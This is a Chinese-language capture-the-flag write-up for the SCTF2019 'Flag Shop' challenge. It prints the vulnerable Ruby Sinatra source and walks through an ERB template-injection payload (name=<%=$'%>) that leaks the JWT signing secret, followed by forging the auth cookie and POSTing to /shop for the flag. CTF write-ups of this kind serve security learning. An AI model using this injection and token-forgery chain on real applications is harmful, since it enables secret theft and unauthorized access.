[SCTF2019]Flag Shop
1
ERB 的全称是 Embedded Ruby(嵌入式 Ruby),其实就是个动态模板
扫到robots.txt
打开发现filebak

filebak打开看到代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000 ENV["SECRET"] = SecureRandom.hex(64)
configure do enable :logging file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+") file.sync = true use Rack::CommonLogger, file end
get "/" do redirect '/shop', 302 end
get "/filebak" do content_type :text erb IO.binread __FILE__ end
get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20} auth = JWT.encode payload,ENV["SECRET"] , 'HS256' cookies[:auth] = auth end
get "/api/info" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]}) end
get "/shop" do erb :shop end
get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] //我们的目标在这ma? 输出位置(关键):puts 指令在服务端编程中是把内容打印到 服务器的控制台(黑窗口),而不是返回给你的 浏览器页面。即便你触发了这一行,Flag 也只是印在选手的服务器后台,你在屏幕上什么也看不到。 end end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end end
post "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"}) else
auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) end end
def islogin if cookies[:auth].nil? then redirect to('/shop') end end
|
1 2
| if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"]
|
我们让传入的secret为空,就变成了ENV["SECRET"].match(" "),当而外面的match匹配到了空,
$’的意思为选取 “匹配成功后的后面的全部字符”
那$’为key了
1 2 3 4 5 6
| if params[:do] == "#{params[:name][0,7]} is working" then
... ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result //最后 .result 返回处理完的纯 HTML 给浏览器
|
我们要在这里插入name=<%=$'%>
erb就回去找$’,然后用result把结果给我们看
但这里需要params[:do] == “#{params[:name][0,7]} is working”
do=<%=$'%> is working
payload
1
| ?name=<%=$'%>&do=<%=$'%> is working&SECRET=
|
拿到key

key:
1
| 63d90e4f927ffcb3e25521ee51110a546eaf3f47f016b1e749ef6ba0ab321133c9e14c3483a838e0db99ce91f47042e4d5cc5f36e1b39a57c57a37afebb50abe
|
去改cookie
https://www.bejson.com/jwt/

抓包上传cookie
源代码里面是post,不是get,要注意一下

得到

解码
